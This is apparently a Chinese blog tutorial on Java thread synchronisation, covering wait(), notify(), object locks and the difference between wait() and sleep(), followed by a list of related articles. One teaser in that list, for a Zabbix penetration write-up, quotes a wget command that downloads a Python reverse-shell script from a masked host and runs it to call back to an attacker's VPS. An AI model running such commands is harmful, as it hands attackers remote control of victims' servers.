我们先看一段代码:

/**
* 计算输出其他线程锁计算的数据
*
*/
public class ThreadA {
public static void main(String[] args) throws InterruptedException{
ThreadB b = new ThreadB();
//启动计算线程
b.start();
//线程A拥有b对象上的锁。线程为了调用wait()或notify()方法,该线程必须是那个对象锁的拥有者
synchronized (b) {
System.out.println("等待对象b完成计算。。。");
//当前线程A等待
b.wait();
System.out.println("b对象计算的总和是:" + b.total);
}
}
} /**
* 计算1+2+3 ... +100的和
*
*/
class ThreadB extends Thread {
int total; public void run() {
synchronized (this) {
for (int i = 0; i < 101; i++) {
total += i;
}
//(完成计算了)唤醒在此对象监视器上等待的单个线程,在本例中线程A被唤醒
notify();
System.out.println("计算完成");
}
}
}

执行结果:

等待对象b完成计算。。。
计算完成
b对象计算的总和是:5050

如果我们将b.wait()去掉呢?结果如下:

等待对象b完成计算。。。
b对象计算的总和是:0
计算完成

上述的结果表明,当去掉b.wait()时,新启动的线程ThreadB与主线程ThreadA是各自执行的,没有线程等待的现象。

我们想要的效果是,当线程ThreadB完成计算之后,再去取计算后的结果。所以使用了b.wait()来让主线程等待。

那为什么是使用b.wait(),而不是Thread.currentThread.wait(),或者其他的呢?

如果我们将b.wait()替换成Thread.currentThread.wait(),将会得到如下的结果:

Exception in thread "main" java.lang.IllegalMonitorStateException
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:485)
at pa.com.thread.ThreadA.main(ThreadA.java:18)
等待对象b完成计算。。。
计算完成

替换的代码Thread.currentThread.wait()好像理所当然应该如我们预期的正确啊,让当前线程处于等待状态,让其他线程先执行。

我们忽略了一个很重要的问题:线程与锁是分不开的,线程的同步、等待、唤醒都与对象锁是密不可分的。

线程ThreadA持有对象b的锁,我们要使用这把锁去让线程释放锁,从而让其他的线程能抢到这把锁。

从我们的程序来分析就是:线程ThreadA首先持有锁对象b,然后调用b.wait()将对象锁释放,线程ThreadB争抢到对象锁b,从而执行run()方法中的计算,计算完了之后使用notify()唤醒主线程ThreadA,ThreadA得以继续执行,从而得到了我们预期的效果。

(之所以ThreadB的对象锁也是b,是因为synchronized(this)中的this指向的就是ThreadB的实例b)

Thread.currentThread.wait()调用的是当前线程对象(即主线程ThreadA)的wait()方法,当前线程对象ThreadA是没有被加锁的,它只是获取了对象锁b。我基本没有看到过这样的调用,一般使用的是锁对象的wait(),本例中为b.wait()

顺带讲一下wait()与sleep()的区别。

如果我们将b.wait()换成Thread.sleep(1000),则会出现如下的结果:

等待对象b完成计算。。。
b对象计算的总和是:0
计算完成

从执行结果可以看出,Thread.sleep(1000)只是让主线程ThreadA睡眠了1秒钟,而并没有释放对象锁,所以在主线程ThreadA睡眠的过程中,ThreadB拿不到对象锁,从而不能执行。

所以我们也就得出了如下的结论:

wait()方法是让线程释放对象锁,让其他线程拿到锁之后去优先执行,当其他全程唤醒wait()中的线程 或者 拿到对象锁的线程都执行完释放了对象锁之后,wait()中的线程才会再次拿到对象锁从而执行。

sleep()方法是让线程睡眠,此时并没有释放对象锁,其他想要拿到睡眠线程的对象锁的线程也就拿不到相应的对象锁,从而不能抢在它前面执行。

补:

wait、notify和notifyAll方法是Object类的final native方法。所以这些方法不能被子类重写,Object类是所有类的超类,因此在程序中有以下三种形式调用wait等方法。

wait();//方式1:
this.wait();//方式2:
super.wait();//方式3

void wait()

导致线程进入等待状态,直到它被其他线程通过notify()或者notifyAll唤醒。该方法只能在同步方法中调用。如果当前线程不是锁的持有者,该方法抛出一个IllegalMonitorStateException异常。

线程中的wait() 与 锁的关系的更多相关文章

  1. C++线程中的几种锁

    线程之间的锁有:互斥锁.条件锁.自旋锁.读写锁.递归锁.一般而言,锁的功能越强大,性能就会越低. 1.互斥锁 互斥锁用于控制多个线程对他们之间共享资源互斥访问的一个信号量.也就是说是为了避免多个线程在 ...

  2. [多线程] 线程中的synchronized关键字锁

    为什么要用锁? 在多线程中,难免会出现在多个线程中对同一个对象的实例变量或者全局静态变量进行并发访问的情况,如果不做正确的同步处理,那么产生的后果就是"脏读",也就是取到的数据其实 ...

  3. iOS: 线程中那些常见的锁

    一.介绍 在多线程开发中,锁的使用基本必不可少,主要是为了解决资源共享时出现争夺而导致数据不一致的问题,也就是线程安全问题.锁的种类很多,在实际开发中,需要根据情况选择性的选取使用,毕竟使用锁也是消耗 ...

  4. {Python之线程} 一 背景知识 二 线程与进程的关系 三 线程的特点 四 线程的实际应用场景 五 内存中的线程 六 用户级线程和内核级线程(了解) 七 python与线程 八 Threading模块 九 锁 十 信号量 十一 事件Event 十二 条件Condition(了解) 十三 定时器

    Python之线程 线程 本节目录 一 背景知识 二 线程与进程的关系 三 线程的特点 四 线程的实际应用场景 五 内存中的线程 六 用户级线程和内核级线程(了解) 七 python与线程 八 Thr ...

  5. 操作系统/应用程序、操作中的“并发”、线程和进程,python中线程和进程(GIL锁),python线程编写+锁

    并发编程前言: 1.网络应用 1)爬虫 直接应用并发编程: 2)网络框架 django flask tornado 源码-并发编程 3)socketserver 源码-并发编程 2.运维领域 1)自动 ...

  6. Java核心知识点学习----线程中如何创建锁和使用锁 Lock,设计一个缓存系统

    理论知识很枯燥,但这些都是基本功,学完可能会忘,但等用的时候,会发觉之前的学习是非常有意义的,学习线程就是这样子的. 1.如何创建锁? Lock lock = new ReentrantLock(); ...

  7. JAVA之旅(十四)——静态同步函数的锁是class对象,多线程的单例设计模式,死锁,线程中的通讯以及通讯所带来的安全隐患,等待唤醒机制

    JAVA之旅(十四)--静态同步函数的锁是class对象,多线程的单例设计模式,死锁,线程中的通讯以及通讯所带来的安全隐患,等待唤醒机制 JAVA之旅,一路有你,加油! 一.静态同步函数的锁是clas ...

  8. Python并发编程之谈谈线程中的“锁机制”(三)

    大家好,并发编程 进入第三篇. 今天我们来讲讲,线程里的锁机制. 本文目录 何为Lock( 锁 )?如何使用Lock( 锁 )?为何要使用锁?可重入锁(RLock)防止死锁的加锁机制饱受争议的GIL( ...

  9. Erlang运行时中的无锁队列及其在异步线程中的应用

    本文首先介绍 Erlang 运行时中需要使用无锁队列的场合,然后介绍无锁队列的基本原理及会遇到的问题,接下来介绍 Erlang 运行时中如何通过“线程进度”机制解决无锁队列的问题,并介绍 Erlang ...

随机推荐

  1. Python-属性(property)

    在2.6版本中,添加了一种新的类成员函数的访问方式--property. 原型 class property([fget[, fset[, fdel[, doc]]]]) fget:获取属性 fset ...

  2. Python使用MySQL数据库的方法以及一个实例

    使用环境:Windows+python3.4+MySQL5.5+Navicat 一.创建连接 1.准备工作,想要使用Python操作MySQL,首先需要安装MySQL-Python的包,在Python ...

  3. 一次zabbix的渗透

    wget http://xxxxxxx:8888/back.py -O  /tmp/1.py  写入python反弹马 反弹到vps python /tmp/back.py IP port       ...

  4. Top JavaScript Frameworks, Libraries & Tools and When to Use Them

    It seems almost every other week there is a new JavaScript library taking the web community by storm ...

  5. MySQL查询本周、上周、本月、上个月份数据的sql代码

    查询当前这周的数据 SELECT name,submittime FROM enterprise WHERE YEARWEEK(date_format(submittime,'%Y-%m-%d')) ...

  6. SiteMesh详解

    Sitemesh是一种页面装饰技术:它通过过滤器(filter)来拦截页面访问,据被访问页面的URL找到合适的装饰模板等等,感兴趣的朋友可以了解下哦 一,基本概念 1,Sitemesh是一种页面装饰技 ...

  7. matlab批量灰色预测

    没事玩了一下matlab 发现现在网上的代码都是一组数据预测 所以我就写个批量数据的预测 顺便学习下matlab ----------------------------------我是快乐的分割线- ...

  8. SQL中 EXCEPT、INTERSECT用法

    EXCEPT 返回两个结果集的差(即从左查询中返回右查询没有找到的所有非重复值). INTERSECT 返回 两个结果集的交集(即两个查询都返回的所有非重复值). UNION返回两个结果集的并集. 语 ...

  9. 【转】Solr客户端查询参数总结

    今天还是不会涉及到.Net和数据库操作,主要还是总结Solr 的查询参数,还是那句话,只有先明白了solr的基础内容和查询语法,后续学习solr 的C#和数据库操作,都是水到渠成的事.这里先列出sol ...

  10. Android 使用Telephony API

    Android 使用Telephony API public class TelephonyDemo extends Activity { TextView textOut; TelephonyMan ...